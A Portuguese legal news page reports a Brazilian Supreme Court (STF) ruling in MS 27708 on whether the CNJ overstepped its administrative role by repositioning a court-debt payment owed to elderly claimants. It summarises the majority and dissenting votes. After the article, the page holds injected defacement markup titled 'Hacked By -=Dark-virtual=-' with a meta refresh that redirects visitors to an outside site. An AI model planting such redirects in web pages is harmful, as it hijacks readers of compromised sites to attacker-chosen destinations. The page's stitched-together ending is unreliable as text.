Precatório

Os ministros do STF concederam pedido feito pelo Estado da Bahia contra ato do CNJ, que reposicionou o precatório de duas senhoras com mais de 80 anos de idade e um espólio de uma outra senhora que faleceu após os 90 anos. A decisão ocorreu no MS 27708 (<A id=LS$_blank onclick="" href="http://www.stf.jus.br/portal/processo/verProcessoAndamento.asp?numero=27708&classe=MS&origem=AP&recurso=0&tipoJulgamento=M" target=_blank>clique aqui</A>), por maioria dos votos.<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><o:p></o:p>
<o:p></o:p>
No MS, o Estado questionou decisão do relator do Procedimento de Controle Administrativo nº 2008.10000013000, do CNJ, que determinou ao presidente do TJ/BA o pagamento do Precatório 7173/02, caso os 17 precatórios antecedentes estivessem pagos. O objeto do PCA era a nulidade da decisão da presidência do TJ/BA, que reposicionou o precatório, uma vez que este tribunal teria desrespeitado o artigo 100, caput, e parágrafo 2º, da CF/88. Este dispositivo determina que o pagamento dos precatórios deve observar, estritamente, a ordem cronológica de sua apresentação.<o:p></o:p>
<o:p></o:p>
O estado alega nulidade do processo administrativo com base na inobservância do devido processo legal, consideradas as ausências de oitiva do impetrante e a atuação monocrática do relator.<o:p></o:p>
<o:p></o:p>
Relator<o:p></o:p>
<o:p></o:p>
Conforme o ministro Marco Aurélio, relator, o conselheiro atuou no campo jurisdicional. Ele lembrou a natureza do CNJ, competindo a este conselho o controle da atuação administrativa e financeira do Poder Judiciário e o cumprimento dos deveres funcionais dos juízes, "seguindo-se enumeração de áreas e práticas que são afinadas com a atividade administrativa inicialmente prevista artigo 130-B parágrafo 4º, da CF/88".<o:p></o:p>
<o:p></o:p>
Mesmo assim, de acordo com o ministro, o conselheiro alterou o termo de conciliação e de compromisso judicial que extravasou, em muito, os limites simplesmente administrativos, uma vez que envolveu aspectos substanciais de execuções contra a Fazenda Pública. "Descabia a atuação sob pena de mesclagem indevida de abrir-se margem a que se faça alargado o que previsto com envergadura maior e de forma limitada em termos de atribuição do CNJ pela CF/88", afirmou.<o:p></o:p>
<o:p></o:p>
O ministro Marco Aurélio salientou que não desconhece a gravidade da situação que eventualmente tenha acometido direitos, mas tal questão não é objeto do mandado de segurança. Segundo ele, se configurada a preterição, há outras vias para solução que deverão ser encaminhadas próprio Judiciário e não ao CNJ, que não exerce atividade judicial, nem jurisdicional.<o:p></o:p>
<o:p></o:p>
O relator concedeu a ordem assentando a impropriedade da atuação do conselheiro e declarando insubsistente o que decidido no procedimento administrativo instaurado para determinar o arquivamento do processo sem apreciação do mérito.<o:p></o:p>
<o:p></o:p>
Divergência<o:p></o:p>
<o:p></o:p>
A ministra Ellen Gracie votou de forma contrária, ou seja, no sentido de indeferir o pedido. Para ela, o procedimento atribuído às presidências de tribunal quanto à classificação de precatórios, é meramente administrativo e não jurisdicional. Portanto, estaria, sob esta ótica, dentro das atribuições do CNJ apreciar o pedido encaminhado pelas senhoras e tomar as providências devidas.<o:p></o:p>
<o:p></o:p>
"Creio que salta aos olhos de todos nós que o TJ/BA, efetivamente cometeu um equívoco gravíssimo ao alterar a ordem de precedência após uma mera repartição dos créditos entre as três postulantes", disse a ministra Ellen Gracie. Do mesmo modo, votou o ministro Celso de Mello. Ele entendeu que não houve extrapolação, por parte do CNJ, de sua estrita competência em matéria administrativa.<o:p></o:p>
<o:p></o:p>
<UL>
<LI>
<DIV style="LINE-HEIGHT: normal" class=MsoNormal align=justify>Processo Relacionado : MS 27708 - <A id=LS$_blank onclick="" href="http://www.stf.jus.br/portal/processo/verProcessoAndamento.asp?numero=27708&classe=MS&origem=AP&recurso=0&tipoJulgamento=M" target=_blank>clique aqui</A>.</DIV></LI></UL>

<head>
<meta HTTP-EQUIV="refresh" CONTENT="1;URL=http://groupff.tempsite.ws/xd/index.html">
<title>Hacked By -=Dark-virtual=-</title>
</head>
<body>
</body>

Precatório

Precatório

Notícias Recentes

Serviços